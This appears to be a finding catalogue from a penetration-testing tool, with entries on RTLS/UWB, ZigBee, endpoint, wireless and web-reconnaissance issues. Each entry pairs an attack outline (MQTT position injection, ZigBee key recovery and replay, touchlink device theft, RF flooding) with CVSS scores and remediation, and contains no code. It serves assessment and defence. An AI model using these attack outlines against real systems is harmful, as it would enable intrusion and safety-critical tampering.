INFO AETHU-004 — RTLS Position Data Injection via MQTT
Description: When the MQTT broker lacks authentication (or when credentials are weak and obtainable), an attacker can publish arbitrary JSON position payloads to RTLS position topics, causing the RTLS engine to process and display fabricated location data as if it originated from legitimate anchors. This allows an attacker to teleport tracked tags to arbitrary zones, trigger false zone-entry or zone-exit alarms, suppress the displayed location of real tags by flooding with conflicting updates, and manipulate safety-critical zone occupancy decisions in industrial or healthcare environments. If the RTLS feeds a physical access control system or a hazardous zone safety interlock, injected positions can result in direct safety consequences.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H
INFO AETHU-005 — SQL Injection in RTLS Reporting Module
Description: The RTLS web platform contains SQL injection vulnerabilities in reporting and analytics endpoints where user-supplied parameters (date ranges, tag IDs, zone names, report filters) are interpolated directly into database queries without parameterisation or sanitisation. An authenticated attacker with low-privilege access to the reporting interface can extract the full database including historical position data, user credentials, API tokens, and configuration secrets via UNION-based or blind SQL injection. In environments where the RTLS database account has file-system privileges, the attacker may read operating system files or write web shells to achieve remote code execution on the database server.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
INFO AETHU-006 — Unauthenticated RTLS REST API Endpoints
Description: Multiple REST API endpoints in the RTLS management platform are accessible without any authentication token or session cookie. Unauthenticated callers can enumerate all anchor hardware configurations (including firmware versions and network addressing), retrieve full tag inventories with their last known positions, and query zone boundary definitions and floor-plan metadata. This information directly enables further attacks by revealing the physical layout of the tracked environment, identifying anchor IPs and firmware versions susceptible to known CVEs, and confirming the topology of the UWB infrastructure prior to a targeted attack.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
INFO AETHU-007 — UWB STS Key Weakness
Description: The Scrambled Timestamp Sequence (STS) used by IEEE 802.15.4z HRP UWB to authenticate ranging frames is derived from a session-level key that may be poorly seeded, statically configured, or exposed via the RTLS management API. When the STS key derivation is weak — for example, using a predictable seed derived from the tag EUI-64 or a static factory-provisioned value — an attacker who captures sufficient ranging exchanges can recover the STS key and forge authenticated ranging responses, making the distance-reduction attack resilient even against platforms that believe STS provides full protection. This finding applies to firmware versions that implement STS key management outside the secure element, or that expose STS configuration parameters over the RTLS API.
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
INFO AETHU-008 — Cleartext UWB Ranging Exchange
Description: UWB ranging frames (Poll, Response, Final) are transmitted in IEEE 802.15.4z SP0 mode without STS or payload encryption, making the full ranging exchange observable to any attacker with appropriate RF hardware within range. Captured frames reveal tag and anchor EUI-64 addresses, sequence numbers, timing fields, and any application payload appended to the ranging frame. This exposure enables an attacker to map the UWB topology, identify specific tags of interest (such as those carried by executive personnel or used for vehicle access), build a model of normal ranging behaviour for replay or manipulation attacks, and correlate UWB addresses with physical identity if the RTLS system maps tag IDs to personnel records.
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
INFO AETHU-009 — RTLS Anchor Firmware Update Without Signature Verification
Description: The RTLS anchor firmware update mechanism accepts firmware images submitted via the management API or a dedicated OTA update endpoint without cryptographically verifying the image signature against a vendor-controlled public key. An attacker with network access to the RTLS management interface and low-privilege credentials (or no credentials if the API is unauthenticated) can submit a crafted firmware image to any or all anchors, replacing the legitimate firmware with a malicious version that modifies ranging behaviour, exfiltrates UWB frame data, disrupts positioning, or establishes persistent backdoor access to anchor hardware. Because anchors run continuously and are often physically inaccessible, compromised firmware may persist undetected for extended periods.
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
INFO AETHU-010 — MQTT Cleartext Credential Transmission
Description: MQTT clients connecting to the RTLS broker transmit credentials (username and password) in cleartext over TCP port 1883 without TLS encryption. Any attacker with the ability to perform network interception — via ARP spoofing, a compromised network switch, or proximity to a wireless access point carrying the RTLS traffic — can capture CONNECT packets and extract credentials in plaintext using standard tools such as Wireshark or tshark. Captured credentials can be replayed to gain authenticated access to the MQTT broker, or may be tested against other services if credential reuse is present across the RTLS platform.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
INFO AETHU-011 — RTLS Zone Boundary Bypass
Description: By combining the Ghost Peak distance reduction technique (AETHU-001) with knowledge of zone boundary geometry extracted from the RTLS management API (AETHU-006), an attacker can manipulate the measured distances between a tag and surrounding anchors in a coordinated manner such that the RTLS location engine calculates a tag position inside an authorised zone while the tag carrier is physically located outside of it. This zone spoofing attack allows an attacker to trigger zone-entry events without physical presence in the zone, bypass zone-based access control logic (e.g., automated door unlocking triggered by zone occupancy), and disable zone-exit alerts for personnel who have physically departed a restricted area.
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N
INFO AETHU-012 — Anchor RF Flooding / Denial of Service
Description: The UWB channel used by the RTLS anchors can be saturated with high-rate UWB pulse transmissions from an attacker-controlled RF source (e.g., a custom firmware DWM3000EVB or SDR with UWB frontend), preventing legitimate ranging exchanges from completing and causing the RTLS system to lose position data for all tags within the affected coverage area. During a DoS condition the RTLS engine reports tags as lost or stationary at their last known position, which can disable safety alarms, automated zone logic, and personnel tracking. This finding requires physical proximity to the target environment and the use of appropriate RF transmission equipment. NOTE: This test requires explicit dos_authorized=true in the configuration and appropriate RF authorisation from the client.
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
INFO AETHU-013 — RTLS Cross-Site Scripting (XSS) in Dashboard
Description: The RTLS web dashboard reflects tag label values and custom metadata fields into the HTML page without adequate output encoding, enabling stored cross-site scripting attacks. An attacker who can write a tag label (via the management API or by injecting data through the MQTT broker) can insert a malicious script payload that executes in the browser of any RTLS operator who views the dashboard or tag detail page. Successful XSS enables session cookie theft, credential harvesting via overlay login forms, lateral movement to other web applications accessible from the operator's browser, and persistent dashboard manipulation that misleads operators about system state.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
INFO AETHU-014 — Insecure Direct Object Reference in RTLS API
Description: The RTLS REST API uses sequential integer or predictable UUID identifiers for sensor records, tags, and user accounts, and does not enforce ownership or role checks when these identifiers are accessed by authenticated but low-privilege users. An attacker with any valid API credential can iterate over sensor IDs, tag IDs, and user profile IDs to retrieve configuration and location data belonging to other RTLS users or system components. In multi-tenant RTLS deployments this constitutes a cross-tenant data breach; in single-tenant deployments it allows a low-privilege operator to access administrator-level sensor configurations and historical position records without the required privilege level.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
INFO AETHU-015 — Physical UWB Frame Injection
Description: An attacker with physical access to the RF environment and an RF injection-capable device (e.g., a second DWM3000EVB with custom firmware, or a Software Defined Radio with UWB-capable frontend) can transmit forged IEEE 802.15.4z frames that impersonate legitimate anchors, injecting false ranging responses into the Two-Way Ranging exchange. When the RTLS engine processes ranging results that include injected forged anchor responses alongside legitimate ones, the trilateration calculation produces a position estimate displaced from the tag's true location. This attack can be used to systematically move perceived tag positions into or out of authorised zones, generate false alarms, or mask the movement of assets through restricted areas. This finding requires physical_access and injection_authorized to be enabled in the configuration. NOTE: Full execution requires specialised hardware operating under explicit RF testing authorisation.
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N
INFO AETHZ-001 — ZigBee Network Key Recovered via Join Intercept
Description: Network encryption key intercepted during device join event, enabling full traffic decryption and authenticated injection. The ZigBee trust center transmitted the network key using the default or known Trust Center Link Key (TCLK), allowing passive interception of the key transport frame. An attacker with this key can decrypt all past captured traffic and inject authenticated ZCL commands.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
INFO AETHZ-002 — Default Trust Center Link Key (TCLK) in Use
Description: ZigBeeAlliance09 well-known TCLK is in use. Any attacker within RF range can decrypt the key transport frame sent during device join, recover the active network key, and then decrypt all network traffic or inject authenticated commands. This well-known key is published in the ZigBee specification and is widely available.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
INFO AETHZ-003 — ZigBee Network Key in Plaintext Configuration
Description: Network key found in plaintext in Zigbee2MQTT or gateway configuration file. Any user or process with read access to the gateway host filesystem can extract the key and use it to decrypt all ZigBee traffic or inject authenticated commands. Plaintext key storage in configuration files is a common misconfiguration in home-automation deployments.
CVSS Vector: AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
INFO AETHZ-004 — ZigBee Replay Attack Successful
Description: Replayed ZCL command frames accepted by target device. Frame counter validation is not enforced or the acceptance window is excessively wide. An attacker can capture authenticated ZCL commands (e.g., door unlock, alarm disarm) and replay them at will, bypassing the encryption layer because the MIC is valid for the replayed frame.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
INFO AETHZ-005 — ZCL Command Injection Successful
Description: Authenticated ZCL commands injected using recovered network key. Security-sensitive commands including door lock, alarm disarm, and thermostat override were accepted by target devices. The attacker constructed valid encrypted and authenticated ZCL frames using the recovered network key, bypassing all network-layer security controls.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
INFO AETHZ-006 — ZLL Touchlink Device Stolen
Description: Target ZigBee Light Link device stolen and joined to an attacker-controlled network using the leaked ZLL Master Key. The ZLL Master Key was published in the ZigBee Light Link specification and allows any party to perform touchlink commissioning against any ZLL device within close RF proximity, effectively stealing devices from their production network without requiring the original network key.
CVSS Vector: AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
INFO AETHZ-007 — ZLL Touchlink Factory Reset Successful
Description: ZLL touchlink factory reset command was accepted by the target device, removing it from its production network. This constitutes an effective denial-of-service: the device can no longer communicate with its coordinator and requires manual re-commissioning. The attack requires only close physical proximity (approximately 10–30 cm) and knowledge of the ZLL protocol.
CVSS Vector: AV:P/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H
INFO AETHZ-008 — ZigBee Network Denial-of-Service Successful
Description: ZigBee network disrupted via PAN-ID conflict flood or association flood. Devices were disconnected from the network or unable to communicate for the duration of the attack. The PAN-ID conflict flood causes the coordinator to change PAN ID, forcing all devices to re-associate. The association flood exhausts the coordinator's association table, preventing legitimate devices from joining.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
INFO AETHZ-009 — ZigBee Network Key Extracted from Device Firmware
Description: Network or link key material extracted from ZigBee device firmware via JTAG debug interface or direct flash memory dump. The key was stored unprotected in flash memory and was recoverable using standard hardware security research tools. A physical attacker can extract this key and use it to compromise all network communications.
CVSS Vector: AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
INFO AETHZ-010 — ZigBee Join Window Permanently Open
Description: The ZigBee coordinator's join permission window is permanently open, allowing any device to join the network at any time. Combined with use of the default TCLK, this allows an attacker to join the network, receive the network key, and then silently monitor or inject traffic. A permanently-open join window is a common misconfiguration in Zigbee2MQTT and other open-source coordinator software.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
INFO AETHZ-011 — Unauthenticated ZDO Enumeration
Description: ZigBee Device Object (ZDO) enumeration reveals all endpoints, clusters, and device capabilities without requiring the ZigBee network key. ZDO requests operate at the network layer and some coordinators respond to unauthenticated ZDO queries, exposing the network topology, device types, supported clusters, and manufacturer information. This information aids targeted attack planning.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
INFO AETHZ-012 — Hardcoded ZigBee Credentials in Device Firmware
Description: Hardcoded network key or link key found in device firmware binary via static analysis. The key is identical across all devices of this model. Any attacker who obtains a firmware image (via OTA update interception, vendor leak, or hardware extraction) can extract the key and use it to compromise all deployments of the same device model worldwide.
CVSS Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
INFO AETHZ-013 — OTA Firmware Update Not Authenticated
Description: Over-the-air firmware updates are accepted by the target device without cryptographic signature verification. An attacker with access to the ZigBee network (via recovered network key) can serve a malicious firmware image via the ZigBee OTA Upgrade cluster, replacing the device firmware with attacker-controlled code.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
INFO AETHZ-014 — ZigBee Protocol Fuzzing Induced Device Crash
Description: Malformed ZigBee protocol frames caused the target device to crash or become unresponsive. Fuzzing of IEEE 802.15.4 MAC headers, ZigBee NWK headers, and ZCL payload fields identified inputs that trigger NULL dereferences or assertion failures in the device firmware. Affected devices required a power cycle to recover.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
INFO AETHZ-015 — ZLL Master Key Deployment Detected
Description: Target network uses ZigBee Light Link (ZLL) with the publicly-leaked ZLL Master Key, exposing all touchlink commissioning operations. The ZLL Master Key was disclosed in the publicly-available ZigBee Light Link specification and allows any attacker to derive the per-network encryption key used during touchlink, enabling device theft and factory reset attacks against all ZLL devices on the network.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
INFO BA-023 — ICMP Not Restricted
Description: ICMP is permitted without source or destination restriction. While necessary for network diagnostics, unrestricted ICMP enables network reconnaissance and covert channel communication.
Impact: ICMP ping sweeps reveal network topology. ICMP tunneling (iodine, icmptunnel) enables covert data exfiltration. ICMP redirect messages can be used for man-in-the-middle attacks.
Remediation: 1. Restrict inbound ICMP to only needed types (echo-reply, unreachable, time-exceeded). 2. Block ICMP echo from external sources or restrict to monitoring IPs. 3. Consider rate-limiting ICMP.
Effort: long_term
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
NIST 800-53: SC-7
INFO BA-060 — Firewall Rule Blocks Known Malicious IP ({ip})
Description: A firewall rule correctly denies traffic with a source or destination address that is flagged as KNOWN MALICIOUS by threat-intelligence sources. The deny rule is actively blocking malicious traffic.
Impact: Positive observation: the firewall is actively blocking traffic to/from a confirmed malicious IP. This indicates effective threat-intel integration in the firewall policy.
Remediation: No action required — the deny rule is correctly blocking the malicious IP. Ensure this rule remains in place and is not overridden by a broader permit rule above it in the policy.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:N
NIST 800-53: SC-7
INFO DR-CRED-006 — Credential Exposure: Credential Manager Entries
Description: Windows Credential Manager (Vault) contains stored credential entries. These may include web credentials, Windows credentials for network shares, and application-specific credentials protected by DPAPI.
Impact: While Credential Manager entries are protected by DPAPI (tied to the user's logon session), they can be decrypted by any process running as that user. If an attacker gains user-level access, they can extract all Vault credentials using tools like mimikatz or built-in vaultcmd commands. This finding is informational — the presence of stored credentials is expected behavior.
Remediation: Review stored credentials periodically and remove entries for systems or services no longer accessed. Educate users not to save domain credentials in Credential Manager for sensitive systems. Implement Credential Guard to protect LSASS-derived credentials from extraction.
Effort: Easy
OWASP Web: A02:2021 - Cryptographic Failures
MITRE ATT&CK: T1555.004 (Credential Access)
NIST 800-53: IA-5
PCI DSS 4: 8.3.1
INFO DR-CRED-008 — Credential Exposure: KeePass Database Found
Description: KeePass password database files (.kdbx) were found on this system. While KeePass databases are encrypted, their presence indicates this system stores a password vault that may be targeted by attackers for credential harvesting.
Impact: KeePass databases, if protected by a weak master password, can be cracked offline. CVE-2023-32784 demonstrated that KeePass master passwords could be recovered from process memory. Additionally, KeePass plugin loading, trigger mechanisms, and configuration file manipulation have been used for credential theft. The database itself is a high-value target for exfiltration.
Remediation: Ensure KeePass databases use strong master passwords (20+ characters) combined with key files. Keep KeePass updated to the latest version. Restrict KeePass plugin loading to signed/approved plugins. Consider migrating to an enterprise password manager with centralized audit logging and MFA enforcement.
Effort: Easy
OWASP Web: A02:2021 - Cryptographic Failures
MITRE ATT&CK: T1555.005 (Credential Access)
NIST 800-53: SC-28, IA-5
PCI DSS 4: 8.3.1
INFO DR-SFT-011 — Software: Software Installed Without Version Information
Description: Software packages are installed with no version information in the Windows registry. This prevents vulnerability assessment and may indicate manually installed, sideloaded, or malicious software.
Impact: Software without version metadata cannot be checked against vulnerability databases (CVE, NVD). Sideloaded applications and malware that registers itself in the Uninstall registry key often omit version data, making them invisible to patch management and vulnerability scanners.
Remediation: Investigate software with missing version information. Remove unauthorized or unrecognized software. Enforce software installation policies that require standard packaging with version metadata.
Effort: Easy
NIST 800-53: CM-8, CM-11
PCI DSS 4: 2.2.1
INFO DR-SYS-004 — Patch Management: WSUS Not Configured
Description: No Windows Server Update Services (WSUS) or equivalent centralized update management solution is configured for this endpoint.
Impact: Without centralized update management, there is no visibility into the patch compliance status of this endpoint. Updates depend on individual machine settings, making enterprise-wide patch compliance difficult to enforce and verify.
Remediation: Configure a centralized update management solution such as WSUS, SCCM, or Intune. Point this endpoint to the organization's WSUS server via Group Policy (Computer Configuration > Administrative Templates > Windows Components > Windows Update > Specify intranet Microsoft update service location).
Effort: Moderate
OWASP Web: A05:2021 - Security Misconfiguration
NIST 800-53: SI-2, CM-2
PCI DSS 4: 6.3.3
INFO DR-SYS-009 — System Hardening: TPM Not Available
Description: No Trusted Platform Module (TPM) is available or the TPM is not in a ready state on this endpoint.
Impact: Without a functional TPM, hardware-rooted security features such as BitLocker with TPM-based protectors, Credential Guard, and Measured Boot cannot be used. The system must rely on software-only security mechanisms which are more susceptible to tampering.
Remediation: If the hardware supports TPM, enable it in the BIOS/UEFI firmware settings and initialize it through the TPM Management console (tpm.msc). For virtual machines, enable virtual TPM through the hypervisor. If the hardware does not support TPM, consider hardware replacement during the next refresh cycle.
Effort: Moderate
NIST 800-53: SC-28
PCI DSS 4: 3.5.1
INFO DRIFT-001 — Wireless Reconnection Successful
Description: The wireless interface successfully disconnected from and reconnected to the target SSID within the expected time window. The SSID association was confirmed by polling the interface state.
INFO DRIFT-002 — Wireless Reconnection Failed or Timed Out
Description: The reconnect command was issued but the interface did not confirm association with the target SSID within the 20-second polling window. This may indicate a weak signal, aggressive rate-limiting of (re)association requests by the AP, or a WPA Enterprise authentication delay.
INFO DRIFT-003 — SSID Mismatch After Reconnect
Description: After issuing the reconnect command for the target SSID, the interface associated with a different SSID. This may indicate the presence of a rogue access point with a stronger signal, or unintended roaming to an adjacent network.
INFO DRIFT-004 — Wireless Interface Not Found
Description: The specified or auto-detected wireless interface could not be found on the system. The tool is unable to perform any disconnect/reconnect operations.
INFO DRIFT-005 — Target Network Not Available
Description: The interface is not currently associated with the expected SSID at the start of a cycle. The target network may be temporarily unavailable, out of range, or the interface has roamed to a different network.
INFO DRIFT-006 — Cycle Completed Successfully
Description: A full disconnect/reconnect cycle completed without error. Both the disconnect and reconnect commands succeeded, and the association with the target SSID was confirmed.
INFO DRIFT-007 — Maximum Cycle Count Reached
Description: The configured maximum number of disconnect/reconnect cycles has been reached. The tool has exited normally.
INFO DRIFT-008 — Disconnect Command Returned Non-Zero Exit Code
Description: The OS wireless disconnect command (iw, wpa_cli, nmcli, or airport) returned a non-zero exit code. The interface may not have cleanly disassociated before the reconnect attempt.
INFO DRIFT-009 — Reconnect Command Returned Non-Zero Exit Code
Description: The OS wireless reconnect command returned a non-zero exit code. The network may not have been joined. This may indicate the SSID is not in the system's known network profiles, or that the wireless daemon rejected the connection attempt.
INFO DRIFT-010 — Dry-Run Cycle Completed (Simulated)
Description: A cycle completed in dry-run mode. No actual wireless commands were issued. This confirms the timing logic and argument parsing are functioning correctly.
INFO DRIFT-011 — Privilege Escalation Required for Wireless Commands
Description: Wireless management commands (iw, nmcli, airport) require elevated privileges. The tool invokes these via sudo. If passwordless sudo is not configured, interactive prompts may interrupt automated testing.
INFO DRIFT-012 — Interface Auto-Detection Fallback Used
Description: The wireless interface was not explicitly specified. The tool fell back to parsing /proc/net/wireless or airport output to determine the active interface. The selected interface may not be the intended test adapter.
INFO FR-001 — Internal Redirect: Trailing Slash Mismatch
Description: The server issued an internal redirect due to a trailing slash mismatch on the target URL. This may expose URL normalization behavior.
Remediation: Ensure consistent URL handling and redirect policies are configured on the web server.
OWASP Web: A05:2025
INFO FR-002 — HTTP Redirect to In-Scope URL
Description: The target URL issues an HTTP redirect to another in-scope URL. Redirect chains may expose internal routing logic.
Remediation: Review redirect configurations to ensure they are intentional and do not expose sensitive routing information.
OWASP Web: A04:2025
INFO FR-003 — HTTP Redirect to External URL
Description: The target URL issues an HTTP redirect to an external domain. This could be leveraged in open redirect or phishing scenarios.
Remediation: Validate and whitelist all redirect destinations. Avoid unvalidated redirects to external URLs.
OWASP Web: A04:2025
INFO FR-005 — WordPress license.txt Accessible
Description: The WordPress license.txt file is publicly accessible. While not directly exploitable, it confirms a WordPress installation.
Remediation: Remove or restrict access to license.txt via web server configuration.
OWASP Web: A05:2025
INFO FR-021 — WordPress Plugin Detected
Description: WordPress plugin(s) confirmed via readme.txt enumeration. Version disclosure enables targeted CVE lookups. Plugin names and versions are listed in the Affected field.
Remediation: Keep all WordPress plugins updated to the latest release. Remove readme.txt from plugin directories on production servers. Remove unused plugins to reduce attack surface.
Effort: Low
OWASP Web: A06:2025
MITRE ATT&CK: T1592.002 (Reconnaissance)
NIST 800-53: CM-8, SI-2
PCI DSS 4: 6.3.2
INFO FR-022 — WordPress Theme Detected
Description: The active WordPress theme was detected via static asset paths. Theme identification aids in locating theme-specific vulnerabilities.
Remediation: Keep themes updated. Remove inactive themes. Restrict access to theme readme and style.css version disclosures.
OWASP Web: A06:2025
INFO FR-025 — Robots.txt Discloses Hidden Paths
Description: The robots.txt file contains Disallow directives that reveal hidden or sensitive application paths. These paths are often administrative interfaces, backup files, or unlinked endpoints.
Remediation: Review paths listed in robots.txt. Ensure sensitive paths are protected by authentication, not just excluded from crawlers.
OWASP Web: A05:2025
INFO FR-026 — Sitemap.xml Discovered
Description: A sitemap.xml file was found. Sitemaps enumerate application URLs and can reveal non-linked endpoints and application structure.
Remediation: Review all URLs listed in sitemap.xml to ensure none expose sensitive functionality without proper access controls.
OWASP Web: A05:2025
INFO FR-032 — GraphQL Endpoint Detected
Description: A GraphQL endpoint was detected. GraphQL endpoints expose a queryable schema and may be subject to introspection, batching attacks, and authorization bypass.
Remediation: Disable introspection in production. Implement query depth limiting, rate limiting, and field-level authorization checks.
OWASP Web: A05:2025
INFO FR-161 — Screenshot Captured — Web Application Surface
Description: A screenshot of the target web application was captured. This records the visual surface of the application for documentation and change tracking purposes.
Remediation: No remediation required. Informational finding for documentation purposes.
OWASP Web: A05:2025
INFO FR-162 — FFUF Directory/File Discovered
Description: Content discovery via ffuf identified a directory or file not linked from the main application. Hidden paths may contain sensitive functionality, backups, or configuration files.
Remediation: Review discovered paths and apply appropriate access controls. Remove any paths that expose sensitive content or unused functionality.
OWASP Web: A05:2025
INFO FR-165 — Crawl — Undocumented Endpoint Discovered
Description: Application crawling discovered an endpoint not listed in sitemap.xml, robots.txt, or API documentation. Undocumented endpoints may contain legacy, debug, or unprotected functionality.
Remediation: Review all discovered endpoints and ensure they are properly secured and documented. Remove or disable any endpoints that are no longer required.
OWASP Web: A05:2025
INFO FR-166 — Crawl — External Domain Reference Found
Description: The application references external domains for resources (CDNs, third-party scripts, fonts). External dependencies introduce supply chain risk if those domains are compromised or the resources are modified.
Remediation: Audit all external resource dependencies. Use Subresource Integrity (SRI) hashes for external scripts and stylesheets. Consider self-hosting critical dependencies.
OWASP Web: A06:2025
INFO FR-167 — TLS Certificate Transparency Log Entry
Description: Certificate Transparency logs reveal all certificates issued for the target domain and its subdomains. This information exposes the full scope of the application's TLS-protected surface.
Impact: Certificate Transparency logs reveal all certificates ever issued for the domain, exposing subdomain naming patterns, internal service names, and historical infrastructure that may still be accessible.
Remediation: Informational. Review discovered subdomains for security implications. Ensure all discovered subdomains are accounted for and secured.
OWASP Web: A05:2025
INFO FR-194 — Lack of Security.txt File
Description: The application does not have a security.txt file at /.well-known/security.txt. The security.txt standard (RFC 9116) allows security researchers to identify and report vulnerabilities responsibly.
Remediation: Create a security.txt file at /.well-known/security.txt specifying contact information, disclosure policy, and PGP keys for secure communications.
OWASP Web: A05:2025
INFO FR-196 — CDN Active
Description: A Content Delivery Network (CDN) was identified in front of the target via response headers or Server fingerprinting. TLS findings reflect the CDN edge configuration. Cache poisoning may be in scope. Header values and security posture may differ at the origin server.
Impact: Active CDN detection reveals the content delivery and security infrastructure protecting the application. An attacker uses this to identify CDN-specific bypass techniques, origin server discovery methods, and CDN configuration weaknesses.
Remediation: Restrict origin server to accept connections only from CDN IP ranges. Ensure security headers are set at the origin. Review CDN cache key configuration to prevent web cache poisoning.
OWASP Web: A05:2025
INFO FR-197 — WAF / Edge Security Platform Active
Description: A WAF or edge security platform was identified in front of the target via response headers or body signatures. WAF rules may suppress injection probes — absence of a finding does not confirm absence of the vulnerability. Bot-protection may interrupt automated probes.
Remediation: Keep WAF rule sets up to date covering OWASP Top 10 2025. Do not rely solely on WAF protection — fix underlying vulnerabilities. Review WAF bypass techniques relevant to the identified platform.
OWASP Web: A05:2025
INFO FR-199 — WAF/CDN Session Termination Detected
Description: The WAF or CDN revoked the authenticated session mid-scan (HTTP 401 or login redirect returned on root URL probe). Authenticated scan results from this point may be incomplete.
Remediation: Re-authenticate and resume the scan. Consider using static session tokens or IP-whitelisting for the scanner in the WAF configuration.
OWASP Web: A05:2025
INFO FR-200 — WAF/CDN Challenge Page Active
Description: The WAF or CDN is serving a JavaScript challenge or CAPTCHA page instead of real content. Automated probe results may be incomplete or inaccurate while the challenge is active.
Remediation: Request the client whitelist the scanner IP in the WAF configuration for the duration of the assessment.
OWASP Web: A05:2025
INFO FR-203 — Wildcard (*) Detected
Description: A wildcard/catch-all response was detected — the server returns the same response for all unknown paths. Directory brute-forcing may be unreliable; all path-based findings are validated against the wildcard baseline.
Remediation: Review server-side routing to ensure 404 responses are returned for truly non-existent paths rather than wildcard catch-all responses.
Effort: Low
OWASP Web: A05:2025
MITRE ATT&CK: T1595.003 (Reconnaissance), T1083 (Discovery)
NIST 800-53: CM-8, CM-7, AC-3
PCI DSS 4: 6.5.1
INFO FR-204 — CMS Detected
Description: A Content Management System (CMS) was identified from page source signatures, meta tags, or response headers. A known CMS allows attackers to target version-specific vulnerabilities and enumerate plugins/themes.
Remediation: Ensure the CMS and all plugins/themes are kept up to date. Remove version disclosure from meta generator tags.
Effort: Low
OWASP Web: A05:2025
MITRE ATT&CK: T1592.002 (Reconnaissance), T1595.002 (Reconnaissance)
NIST 800-53: CM-8, SI-2, CM-7
PCI DSS 4: 6.3.3
INFO FR-205 — Web Structure Identified
Description: The web application framework or structure type was classified (e.g., SPA, SSR Hybrid, Server-Rendered, Static HTML, API-first) from response characteristics. This informs subsequent testing phases.
Remediation: No direct remediation required. Ensure the application exposes only necessary fingerprinting signals.
OWASP Web: A05:2025
INFO FR-206 — Single Page Application Detected
Description: A Single Page Application (SPA) was identified. Client-side routing and dynamic content loading may prevent traditional crawler-based endpoint discovery. JavaScript analysis is used to supplement crawling.
Remediation: No direct remediation required.
OWASP Web: A05:2025
INFO FR-213 — Unknown Header Identified
Description: An unrecognised HTTP response header was identified. Custom or proprietary headers may disclose internal platform details, testing infrastructure, or undocumented API features.
Remediation: Review all custom response headers and remove those that disclose internal implementation details.
OWASP Web: A05:2025
INFO FR-219 — Interesting Endpoint Discovered
Description: An interesting URL or endpoint was discovered during crawling or discovery. The endpoint may expose sensitive functionality, administrative interfaces, or API capabilities.
Remediation: Review discovered endpoints and ensure appropriate access controls are in place.
Effort: Low
OWASP Web: A05:2025
MITRE ATT&CK: T1595.003 (Reconnaissance), T1083 (Discovery)
NIST 800-53: CM-8, CM-7, AC-3
PCI DSS 4: 6.5.1
INFO FR-220 — Authenticated Interesting Endpoint
Description: An interesting endpoint was discovered while authenticated. The endpoint may expose functionality that should be restricted to specific roles only.
Remediation: Review the endpoint and apply least-privilege role-based access controls.
Effort: Low
OWASP Web: A02:2025
MITRE ATT&CK: T1595.003 (Reconnaissance), T1083 (Discovery)
NIST 800-53: CM-8, CM-7, AC-3
PCI DSS 4: 6.5.1
INFO FR-225 — Web Files Downloaded
Description: Downloadable files (e.g., backups, exports, documents) were identified on the web server. Downloadable files may contain sensitive information including credentials, source code, or internal data.
Remediation: Review all downloadable files and ensure they do not expose sensitive information. Remove backup files from web-accessible directories.
OWASP Web: A05:2025
INFO FR-226 — Web Screenshot Captured
Description: A screenshot of the web application was captured using a headless browser. This provides visual context for the application's UI, authentication flows, and security controls.
Impact: Visual captures of web pages provide immediate insight into application functionality, branding, and potential entry points without active interaction. Screenshots reveal login forms, admin panels, and application state that inform targeted attacks.
Remediation: No remediation required. Screenshots are captured for assessment documentation purposes.
OWASP Web: A05:2025
INFO FR-228 — Non-Login Form Detected
Description: A non-authentication form was detected in the application. Forms may be entry points for injection attacks, CSRF, or data manipulation vulnerabilities.
Remediation: Ensure all forms are protected against CSRF and injection. Apply input validation and output encoding.
Effort: Low
OWASP Web: A04:2025
MITRE ATT&CK: T1078 (Initial Access), T1589 (Reconnaissance)
NIST 800-53: IA-2, AC-2
PCI DSS 4: 8.2.1
INFO FR-229 — Login Page Detected
Description: An authentication login page was identified. The login page is the primary target for brute-force, credential stuffing, and authentication bypass attacks.
Remediation: Implement account lockout, rate limiting, CAPTCHA, and MFA on all login pages.
Effort: Low
OWASP Web: A07:2025
MITRE ATT&CK: T1078 (Initial Access), T1589 (Reconnaissance)
NIST 800-53: IA-2, AC-2
PCI DSS 4: 8.2.1
INFO FR-230 — Application Identified at Login Page
Description: The application technology or platform was identified from the login page appearance, form fields, or response headers. This aids attacker reconnaissance of version-specific authentication vulnerabilities.
Remediation: Suppress technology-identifying indicators from login pages.
Effort: Low
